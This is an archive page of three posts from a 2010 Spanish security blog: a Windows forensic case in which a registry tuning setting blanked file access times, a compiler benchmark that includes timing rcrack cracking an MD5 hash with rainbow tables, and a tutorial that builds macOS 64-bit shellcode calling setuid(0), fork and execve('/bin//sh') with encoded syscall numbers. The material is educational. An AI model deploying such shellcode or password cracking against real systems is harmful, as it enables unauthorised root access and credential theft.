Archive for December, 2010

Features que no lo son tanto

El caso que expongo a continuación es curioso. Pongámonos en contexto: Realización de un análisis forense en un entorno Windows 2003. Por cuestiones del peritaje resultaba especialmente interesante verificar los últimos tiempos de acceso a ciertos ficheros de interés.

El NTFS permite obtener esta información de manera muy sencilla. En este sistema de ficheros cada archivo tiene asociada una Master File Table (MFT). Esta tabla contiene multitud de atributos, en el caso que nos ocupa nuestra atención estaba fija en el atributo “Last Acess Time“, que indica, para cada fichero del sistema, la fecha del último acceso.
Al comprobar dicho atributo nos quedamos perplejos puesto que no hay información en el mismo. Lo primero que uno piensa es que dicho dato se ha eliminado intencionadamente, lo que no cuadra con las capacidades técnicas que se le suponen al administrador, lo que se confirma al comprobar que sucede lo mismo con otros documentos ofimáticos del mismo tipo.

Es el momento de abrir nuevas vías de investigación asi que nos ponemos el mono de trabajo y comprobamos que un usuario ha abierto recientemente dicho fichero, ya que el nombre del mismo aparece en la clave de registro “Software\Microsoft\Office\9.0\Excel\Recent Files“. Esta clave indica los últimos ficheros Excel abiertos por el usuario.

Acudimos entonces al manual del buen analista, y decidimos hablar con el entorno del administrador para obtener información que nos permita dilucidar qué ha sucedido. Uno de los ayudantes nos indica que recientemente dicho servidor, que al parecer funcionaba “muy lento”, ha sufrido un “tuneo” para mejorar sus capacidades.
Esto, puede parecer supérfluo, pero la información es poder y atando cabos llegamos al siguiente enlace de la maravillosa base de datos de conocimiento de Microsoft:

http://support.microsoft.com/kb/555041

En la sección denominada “Windows Server 2003 Tunnings” indican que introduciendo la clave de registro “HKLM\System\CurrentControlSet\Control\FileSystem\Disablelastaccess” con valor a 1 se aumenta la velocidad porque el atributo “Last Acess Time” no se escribe en cada fichero, lo que redunda en una mejora de la velocidad.

Lo malo, que si hubiera leído la v2 del Windows Forensic Analysis de Halan Carvey lo hubiera sabido al llegar a la página 43. Lo bueno, que de esta manera no lo olvidaré jamás y que leeré el libro con aún más ganas si cabe.

Referencias:
Cómo funciona NTFS: http://technet.microsoft.com/en-us/library/cc781134(WS.10).aspx
MFT: http://support.microsoft.com/kb/174619
Windows Server 2003 Tunnings: http://support.microsoft.com/kb/555041

Share via email
Share on Facebook+1Share on Twitter

Carreras de compiladores!

Hoy jugaremos con compiladores.
En OSX nos encontramos con gcc y llvm instalado en el sistema (último Xcode) y por supuesto, toca compararlos :^)

Para ello usaremos el software de benchmarks nbench-byte-2.2.3:

GCC

TEST                : Iterations/sec.  : Old Index   : New Index
:                  : Pentium 90* : AMD K6/233*
--------------------:------------------:-------------:------------
NUMERIC SORT        :          1221.9  :      31.34  :      10.29
STRING SORT         :          305.78  :     136.63  :      21.15
BITFIELD            :      4.2614e+08  :      73.10  :      15.27
FP EMULATION        :           242.2  :     116.22  :      26.82
FOURIER             :           35235  :      40.07  :      22.51
ASSIGNMENT          :          31.992  :     121.74  :      31.58
IDEA                :          5519.6  :      84.42  :      25.07
HUFFMAN             :          2258.2  :      62.62  :      20.00
NEURAL NET          :          50.278  :      80.77  :      33.97
LU DECOMPOSITION    :          1533.5  :      79.44  :      57.36
==========================ORIGINAL BYTEMARK RESULTS==========================
INTEGER INDEX       : 81.266
FLOATING-POINT INDEX: 63.586
Baseline (MSDOS*)   : Pentium* 90, 256 KB L2-cache, Watcom* compiler 10.0
==============================LINUX DATA BELOW===============================
CPU                 :
L2 Cache            :
OS                  : Darwin 10.5.0
C compiler          : gcc version 4.2.1 (Apple Inc. build 5664)
libc                :
MEMORY INDEX        : 21.684
INTEGER INDEX       : 19.285
FLOATING-POINT INDEX: 35.267
Baseline (LINUX)    : AMD K6/233*, 512 KB L2-cache, gcc 2.7.2.3, libc-5.4.38
* Trademarks are property of their respective holder.


CLANG

TEST                : Iterations/sec.  : Old Index   : New Index
:                  : Pentium 90* : AMD K6/233*
--------------------:------------------:-------------:------------
NUMERIC SORT        :          1378.8  :      35.36  :      11.61
STRING SORT         :          307.33  :     137.32  :      21.26
BITFIELD            :      4.1904e+08  :      71.88  :      15.01
FP EMULATION        :          317.05  :     152.14  :      35.11
FOURIER             :           35979  :      40.92  :      22.98
ASSIGNMENT          :          30.987  :     117.91  :      30.58
IDEA                :          5419.2  :      82.89  :      24.61
HUFFMAN             :          2189.6  :      60.72  :      19.39
NEURAL NET          :          44.611  :      71.66  :      30.14
LU DECOMPOSITION    :          1554.7  :      80.54  :      58.16
==========================ORIGINAL BYTEMARK RESULTS==========================
INTEGER INDEX       : 84.791
FLOATING-POINT INDEX: 61.811
Baseline (MSDOS*)   : Pentium* 90, 256 KB L2-cache, Watcom* compiler 10.0
==============================LINUX DATA BELOW===============================
CPU                 :
L2 Cache            :
OS                  : Darwin 10.5.0
C compiler          : clang
libc                :
MEMORY INDEX        : 21.371
INTEGER INDEX       : 21.001
FLOATING-POINT INDEX: 34.283
Baseline (LINUX)    : AMD K6/233*, 512 KB L2-cache, gcc 2.7.2.3, libc-5.4.38
* Trademarks are property of their respective holder.


LLVM-GCC

TEST                : Iterations/sec.  : Old Index   : New Index
:                  : Pentium 90* : AMD K6/233*
--------------------:------------------:-------------:------------
NUMERIC SORT        :          1376.8  :      35.31  :      11.60
STRING SORT         :           307.7  :     137.49  :      21.28
BITFIELD            :      4.1864e+08  :      71.81  :      15.00
FP EMULATION        :          310.04  :     148.77  :      34.33
FOURIER             :           35692  :      40.59  :      22.80
ASSIGNMENT          :          31.145  :     118.51  :      30.74
IDEA                :          5520.8  :      84.44  :      25.07
HUFFMAN             :          2407.7  :      66.77  :      21.32
NEURAL NET          :          45.261  :      72.71  :      30.58
LU DECOMPOSITION    :          1567.3  :      81.20  :      58.63
==========================ORIGINAL BYTEMARK RESULTS==========================
INTEGER INDEX       : 85.950
FLOATING-POINT INDEX: 62.111
Baseline (MSDOS*)   : Pentium* 90, 256 KB L2-cache, Watcom* compiler 10.0
==============================LINUX DATA BELOW===============================
CPU                 :
L2 Cache            :
OS                  : Darwin 10.5.0
C compiler          : llvm-gcc
libc                :
MEMORY INDEX        : 21.409
INTEGER INDEX       : 21.478
FLOATING-POINT INDEX: 34.449
Baseline (LINUX)    : AMD K6/233*, 512 KB L2-cache, gcc 2.7.2.3, libc-5.4.38
* Trademarks are property of their respective holder.

Comprobando los resultados, es evidente que LLVM gana a GCC en las operaciones de enteros. Ahora probaremos a compilar el rcrack en GCC y en LLVM a ver si se nota diferencia entre ellos.

Lanzamos rcrack 4 veces seguidas contra unas rainbow md5 con el hash “admin” y nos quedamos con la media de los resultados:

GCC

statistics
-------------------------------------------------------
plaintext found:            1 of 1 (100.00%)
total disk access time:     610.57 s
total cryptanalysis time:   14.58 s
total pre-calculation time: 27.82 s
total chain walk step:      99970002
total false alarm:          11906
total chain walk step due to false alarm: 43995212

result
-------------------------------------------------------
21232f297a57a5a743894a0e4a801fc3        admin   hex:61646d696e

Ahora realizamos la misma operación compilando rcrack con LLVM:

LLVM

statistics
-------------------------------------------------------
plaintext found:            1 of 1 (100.00%)
total disk access time:     410.01 s
total cryptanalysis time:   12.26 s
total pre-calculation time: 26.85 s
total chain walk step:      99970002
total false alarm:          11906
total chain walk step due to false alarm: 43995212

result
-------------------------------------------------------
21232f297a57a5a743894a0e4a801fc3        admin   hex:61646d696e

¡Un 68.75% de mejoría en LLVM!
No está nada mal, son resultados a tener en cuenta a la hora de compilar procesos intensivos, jeje.

Happy hacking!

There once was was a user that whined

Share via email
Share on Facebook+1Share on Twitter

Cocinando shellcodes sin morir en el intento (64 bits)

Como vimos en la entrega anterior de nuestro programa de cocina, ahora le toca el turno a los 64 bits.

Predecimos que en 64 bits los parámetros van como en FreeBSD y usando syscall. Hasta aquí todo bien… Al meollo!

Nuestro famoso “hola nenas”, esta vez un tanto diferente, que así entra en un registro :-D

section .text
global _start
_start:
mov     rax, 4
mov     rdi, 1
mov     rsi, 0x707574696c6c610a
mov     rdx, 8
syscall
mov     rax, 1
xor	    rdi, rdi
syscall
Mustang:64 capi_x$ yasm -f macho64 hello.s -o hello64.o
Mustang:64 capi_x$ ld -static -arch x86_64 -e _start hello64.o -o hello64
Mustang:64 capi_x$ ./hello64
Bus error

Vaya… con lo bonito que pintaba… :)
Pues nada, pasito a pasito.

Creamos un C semejante y lo desensamblamos.

int main() {
write(1,"Hola OSX\n",9);
}

El desensamblado nos muestra lo siguiente:

0000000100000f04	pushq	%rbp
0000000100000f05	movq	%rsp,%rbp
0000000100000f08	movl	$0x00000009,%edx
0000000100000f0d	leaq	0x00000042(%rip),%rsi
0000000100000f14	movl	$0x00000001,%edi
0000000100000f19	movl	$0x00000000,%eax
0000000100000f1e	callq	0x00000f2c
0000000100000f23	leave
0000000100000f24	ret

Por lo que parece usa alguna librería dinámica; si la desensamblamos, es posible que veamos como realiza las syscalls :-P

Mustang:64 capi_x$ otool -L hello
hello:
/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 125.2.1)

Perfecto, ahora a desensamblar la rutina _write de la librería diámica.

Mustang:64 capi_x$ otool -p _write -t -v -V /usr/lib/libSystem.B.dylib | head -6 | tail -3
00000000000137c8	movl	$0x02000004,%eax
00000000000137cd	movq	%rcx,%r10
00000000000137d0	syscall

Como se puede observar, las syscall se realizan de forma diferente que en 32bits.
De esta forma, he construido la siguiente shellcode, la forma común y corriente :-)

BITS 64
section .data
msg	dd	'0wn3d'
section .text
global _start
_start:
mov  eax, 0xfa8888a0
add  eax, 0x07777777
;mov  eax, 0x2000017
xor  rdi, rdi
syscall    ; setuid(0)
mov  eax, 0xfa88888b
add  eax, 0x07777777
;mov  eax, 0x2000002
syscall    ; fork(0)
mov  eax, 0xfa888a19
add  eax, 0x07777777
;mov  eax, 0x2000190
xor  rdx, rdx
xor  rsi, rsi
syscall     ; wait4(0)
mov  eax, 0xfa8888c4
add  eax, 0x07777777
;mov  eax, 0x200003b
mov  rdi, 0x68732f2f6e69622f
push rsi
push rdi
mov  rdi, rsp
syscall    ; execve()

( Por cierto, lo de la sección data es muy curioso, algún día de estos lo explico )
Para compilarla, también se puede usar “yasm” de la siguiente forma:

yasm -f macho64 forkexecve64.s -o forkexecve64.o
ld -e _start -arch x86_64 -static forkexecve64.o -o forkexecve64

Happy Hacking!

“No user serviceable parts included.”

Share via email
Share on Facebook+1Share on Twitter